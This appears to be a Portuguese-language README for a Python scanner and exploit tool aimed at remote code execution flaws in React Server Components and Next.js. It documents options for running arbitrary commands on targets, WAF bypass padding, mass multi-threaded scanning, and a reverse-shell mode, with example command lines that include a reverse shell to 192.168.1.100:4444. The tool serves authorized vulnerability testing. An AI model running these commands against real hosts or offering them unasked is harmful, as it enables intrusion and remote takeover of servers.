High Fidelity Detection for RSC/Next.js RCE
Scanner para detecção de vulnerabilidades de Remote Code Execution (RCE) em aplicações React Server Components e Next.js.
O React2Shell Scanner é uma ferramenta especializada para identificar vulnerabilidades de execução remota de código (RCE) em aplicações que utilizam React Server Components (RSC) e Next.js. A ferramenta detecta vulnerabilidades relacionadas aos seguintes CVEs:
- CVE-2025-55182
- CVE-2025-66478
A ferramenta realiza verificações de alta fidelidade utilizando side-channel detection e proof-of-concept de RCE, com capacidade de extrair resultados dinâmicos de comandos executados através do parse automático das respostas HTTP.
Esta é uma versão editada por @imguimoraes do scanner original desenvolvido pela Assetnote Security Research Team. O PoC RCE original foi criado por @maple3142.
- Detecção de alta fidelidade usando side-channel e PoC RCE
- Execução multi-threaded para scan em massa
- Extração dinâmica de resultados de comandos executados (parse automático de headers e corpo da resposta)
- WAF bypass com dados aleatórios configuráveis
- Suporte para Windows (PowerShell) e Linux/Unix (shell)
- Output em JSON estruturado para análise posterior
- Seguimento automático de redirects
- Interface com progress bar e output colorido
- Python 3.8 ou superior
- pip (gerenciador de pacotes Python)
pip install requests tqdmOu usando o arquivo requirements.txt:
pip install -r requirements.txtpython scanner.py [-u URL | -l FILE] [opções]
python scanner.py -u https://example.compython scanner.py -l hosts.txt| Opção | Descrição |
|---|---|
-u, --url URL |
URL ou host único para verificar |
-l, --list FILE |
Arquivo contendo lista de hosts (um por linha) |
| Opção | Descrição |
|---|---|
-t, --threads N |
Número de threads concorrentes (padrão: 10) |
--timeout SECONDS |
Timeout das requisições em segundos (padrão: 10) |
-k, --insecure |
Desabilitar verificação de certificado SSL (habilitado por padrão) |
| Opção | Descrição |
|---|---|
-o, --output FILE |
Arquivo de saída para resultados em formato JSON |
--all-results |
Salvar todos os resultados no arquivo, não apenas vulneráveis |
-v, --verbose |
Output verboso (mostra snippets de resposta para análise) |
-q, --quiet |
Modo silencioso (mostra apenas hosts vulneráveis) |
--no-color |
Desabilitar output colorido |
| Opção | Descrição |
|---|---|
-H, --header "Key: Value" |
Adicionar header HTTP customizado (pode ser usado múltiplas vezes) |
| Opção | Descrição |
|---|---|
--safe-check |
Usar detecção side-channel segura ao invés de PoC RCE (não executa código) |
--windows |
Usar payload PowerShell ao invés de shell Unix (para ambientes Windows) |
--waf-bypass |
Adicionar dados aleatórios ao payload para bypass de WAF (padrão: 128KB) |
--waf-bypass-size KB |
Tamanho dos dados aleatórios em KB para bypass de WAF (padrão: 128) |
--payload COMMAND |
Comando customizado para executar no RCE (padrão: echo $((41*271))) |
--reverse-shell IP:PORT |
Criar conexão reverse shell para IP:PORT especificado |
python scanner.py -u https://target.compython scanner.py -l targets.txt -t 50 --timeout 15python scanner.py -l targets.txt -o results.json --all-resultspython scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"python scanner.py -u https://target.com --payload "whoami"python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256python scanner.py -u https://target.com --windows --payload "whoami"python scanner.py -l targets.txt --safe-checkpython scanner.py -l targets.txt -v --all-results -o full_scan.jsonpython scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444O scanner exibe resultados com códigos de cores indicando o status:
- [VULNERABLE] - Host vulnerável (vermelho)
- [NOT VULNERABLE] - Host não vulnerável (verde)
- [ERROR] - Erro durante a verificação (amarelo)
Para hosts vulneráveis, o resultado do comando executado é exibido quando disponível através da extração automática do header X-Action-Redirect ou do corpo da resposta.
Quando a opção -o é utilizada, o output é salvo em formato JSON com a seguinte estrutura:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}Campos do resultado:
vulnerable:truese vulnerável,falsese não vulnerável,nullse ocorreu errocommand_result: Resultado do comando executado extraído da resposta (quando disponível)final_url: URL final testada (após seguimento de redirects se habilitado)status_code: Código HTTP da respostarequest: Requisição HTTP completa enviadaresponse: Resposta HTTP recebida (primeiros 2000 caracteres)error: Mensagem de erro se houvertimestamp: Timestamp UTC da verificação
O scanner oferece dois métodos de detecção:
-
Safe Check (
--safe-check): Detecção side-channel não invasiva que verifica padrões de erro na resposta sem executar código. Útil para scan inicial sem impacto. -
RCE PoC: Execução real de código remoto com extração dinâmica dos resultados. Utiliza payloads baseados em Node.js child_process para execução de comandos do sistema.
O scanner realiza parse automático das respostas HTTP para extrair resultados de comandos executados:
- Extração do header
X-Action-Redirect(formato:NEXT_REDIRECT;push;/login?a=<result>;307;) - Extração do corpo da resposta (formato:
E{"digest":"<result>"}ou1:E{"digest":"<result>"}) - Funciona com qualquer comando/payload customizado através do parâmetro
--payload
A extração é realizada dinamicamente, não dependendo de valores fixos, permitindo validar a execução de qualquer comando.
Quando a opção --waf-bypass é utilizada:
- Adiciona dados aleatórios (junk data) ao início do payload multipart/form-data
- Tamanho configurável através de
--waf-bypass-size(padrão: 128KB) - Útil para contornar filtros de WAF que inspecionam conteúdo do request body
- Timeout é automaticamente aumentado para 20 segundos quando WAF bypass está ativo
O parâmetro --payload permite especificar qualquer comando a ser executado:
- Padrão:
echo $((41*271))(resultado: 11111) - Windows: Use comandos PowerShell quando
--windowsestiver ativo - Linux/Unix: Use comandos shell padrão
O resultado do comando é automaticamente extraído e exibido, independente do valor retornado.
A opção --reverse-shell permite estabelecer uma conexão reverse shell:
- Formato:
IP:PORT(exemplo:192.168.1.100:4444) - Utiliza Node.js net e child_process modules
- Para Windows: spawna
powershell.exe - Para Linux/Unix: spawna
/bin/sh
Esta ferramenta é destinada exclusivamente para fins educacionais e testes de segurança autorizados.
- Use apenas em sistemas que você possui ou possui permissão explícita e por escrito para testar
- O uso não autorizado desta ferramenta é ilegal e pode resultar em responsabilização criminal
- Os desenvolvedores não assumem qualquer responsabilidade pelo uso indevido desta ferramenta
- Sempre obtenha autorização escrita antes de realizar testes de penetração
- Respeite as leis e regulamentações aplicáveis em sua jurisdição
O exploit RCE original foi criado por @maple3142.
O scanner original foi desenvolvido pela Assetnote Security Research Team:
- Repositório: https://github.com/assetnote/react2shell-scanner/
- Website: https://www.assetnote.io/
Esta versão editada mantém as funcionalidades do scanner original com melhorias adicionais:
- Extração dinâmica de resultados de comandos (parse automático de respostas)
- Suporte a comandos customizados com extração de resultados
- Remoção do Vercel Bypass (Patched in ??/??/2025)
- Sistema de Reverse Shell (Crash-Friendly)
Editado por: guiimoraes
- CVE-2025-55182
- CVE-2025-66478
Se encontrar bugs ou tiver sugestões de melhorias, por favor abra uma issue no repositório descrevendo o problema de forma detalhada.